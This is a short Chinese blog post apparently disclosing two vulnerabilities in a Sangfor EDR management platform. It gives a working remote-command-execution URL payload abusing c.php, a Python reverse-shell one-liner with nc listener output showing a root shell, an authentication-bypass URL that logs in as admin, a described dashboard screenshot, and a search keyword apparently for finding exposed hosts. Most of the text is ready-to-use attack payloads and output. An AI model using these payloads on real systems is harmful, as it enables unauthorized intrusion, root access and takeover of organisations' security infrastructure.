

深 X 服 edr rce

作者: [Mrq123](#)

原文链接: <https://ld246.com/article/1597935136721>

来源网站: [链滴](#)

许可协议: [署名-相同方式共享 4.0 国际 \(CC BY-SA 4.0\)](#)

payload: https://127.0.0.1/tool/log/c.php?strip_slashes=system&host=ls

Log Helper

c.php l.php

Host : - host, e.g. 127.0.0.1

Path : - path regex, e.g. mapreduce

Row : - row regex, e.g. \s[w|e]\s

Limit: - top n, e.g. 100

反弹shell的话，bash是不好使的，可以使用python，系统有python和nc。

Log Helper

usage: python [option] ... [-c cmd | -m mod | file | -] [arg] ... Options and arguments (and corresponding environment variables): -B : don't write .pyc/co files on import; also PYTHONDONTWRITEBYTECODE=x -c cmd : program passed as string (terminates option list) -d : debug output from parser; also PYTHONDEBUG=x -E : Ignore PYTHON* environment variables (such as PYTHONPATH) -h : print this help message and exit (also --help) -i : inspect interactively after running script; forces a prompt even if stdin does not appear to be a terminal; also PYTHONINSPECT=x -m mod : run library module as a script (terminates option list) -O : optimize generated bytecode slightly; also PYTHONOPTIMIZE=x -OO : remove doc-strings in addition to the -O optimizations -R : use a pseudo-random salt to make hash() values of various types be unpredictable between separate invocations of the interpreter, as a defense against denial-of-service attacks -Q arg : division options: -Qold (default), -Qwarn, -Qwarnall, -Qnew -s : don't add user site directory to sys.path; also PYTHONNOUSERSITE -S : don't imply 'import site' on initialization -t : issue warnings about inconsistent tab usage (-tt: Issue errors) -u : unbuffered binary stdout and stderr; also PYTHONUNBUFFERED=x see man page for details on internal buffering relating to '-u' -v : verbose (trace import statements); also PYTHONVERBOSE=x can be supplied multiple times to increase verbosity -V : print the Python version number and exit (also --version) -W arg : warning control, arg is action:message:category:module:inline also PYTHONWARNINGS=x -x : skip first line of source, allowing use of non-Unix forms of #!cmd -3 : warn about Python 3.x incompatibilities that 2to3 cannot trivially fix file : program read from script file - : program read from stdin (default; interactive mode if a tty) arg ... : arguments passed to program in sys.argv[1:] Other environment variables: PYTHONSTARTUP: file executed on interactive startup (no default) PYTHONPATH : ':'-separated list of directories prefixed to the default module search path. The result is sys.path. PYTHONHOME : alternate directory (or .). The default module search path uses /pythonXX. PYTHONCASEOK : ignore case in 'import' statements (Windows). PYTHONIOENCODING: Encoding(errors) used for stdin/stdout/stderr. PYTHONHASHSEED: If this variable is set to 'random', the effect is the same as specifying the -R option: a random value is used to seed the hashes of str, bytes and datetime objects. It can also be set to an integer in the range [0,4294967295] to get hash values with a predictable seed.

Host : - host, e.g. 127.0.0.1

Path : - path regex, e.g. mapreduce

Row : - row regex, e.g. \s[w|e]\s

Limit: - top n, e.g. 100

使用python反弹shell：

```
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
```

```
[root@iZj6c4gcgj ~]# nc -lvp 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.5.1:50546
Ncat: Connection from 192.168.5.1:50546
bash: no job control in this shell
[root@sangfor log]# ls
ls
c.php
l.php
[root@sangfor log]# cd ..
cd ..
```

任意用户登陆

payload: 127.0.0.1/ui/index.php?user=admin

The screenshot shows the main dashboard of the EDR platform. At the top, there's a header with the logo, product name, and navigation links: 首页 (Home), 任务管理 (Task Management), 威胁端 (Threat Endpoints), 响应中心 (Response Center), 日志报告 (Log Report), and 系统管理 (System Management). A user icon for 'admin' is also present.

Key statistics at the top include:

- EDR已守护全网终端 0 0 1 7 4 天 (EDR has protected 0 terminals nationwide for 1 day, 7 hours, and 4 minutes)
- 平台版本号: 3.2.17 | 版本日期: 2020/05/26 23:31:14
- 终端概况 (Terminal Overview):
 - 31 台受控终端 (31 controlled terminals)
 - 17 受控终端 (17 controlled terminals)
 - 32 PC终端 (32 PC terminals)
 - 5763 端口扫描 (Port scanning)
 - 401 端口扫描 (Port scanning)
 - 0 安全事件 (0 security events)
 - 0 恶意软件 (0 malicious software)
 - 167 恶意文件 (167 malicious files)
 - 0 安全威胁文件 (0 security threat files)
 - 0 安全威胁 (0 security threats)

Below the overview are two main sections:

- 待处理高危事件 (Pending High-risk Events):**
 - 0 个/0台 物理机/虚拟机 (0 physical/virtual machines)
 - 922 个/14台 强制挂载驱动端 (14 mounted drive endpoints)
 - 0 个/0台 网络连接/驱动端 (0 network connections/drive endpoints)
 - 0 个/0台 WebShell后门影响终端 (0 WebShell backdoor affected terminals)
 - 3 个/5台 高危脚本端 (5 high-risk script endpoints)
- 勒索病毒防御 (Ransomware Defense):**
 - 4 个勒索入侵预防 (4 ransomware prevention)
 - 0 个 已检测勒索病毒 (0 detected ransomware)
 - 0 次 已阻止勒索行为 (0 blocked ransom behavior)
 - 6 项勒索检测与响应机制 (6 ransom detection and response mechanisms)
 - 0 次 已阻止未知勒索行为 (0 blocked unknown ransom behavior)
 - 1 次 已阻止恶意破解攻击 (1 blocked malicious cracking attack)

At the bottom left is a section titled "威胁终端 (Threat Endpoints)" with a pie chart showing the distribution of threat levels:

类别 (Category)	数量 (Count)
已失陷 (Compromised)	0
高可疑 (High Suspicious)	16
低可疑 (Low Suspicious)	0
安全 (Safe)	16

On the right, there's a chart titled "威胁终端TOP5" (Top 5 Threat Endpoints) showing the number of threats per endpoint:

终端 (Endpoint)	威胁数 (Threat Count)
WIN-NEDQJQHNO...	165
WIN-ETGTHLJNC...	6,836
WIN-9V2F014M0...	168
localhost.Incognito...	13
localhost.Incognito...	13

关键字搜索: body="Google Tag Manager 测试容器 "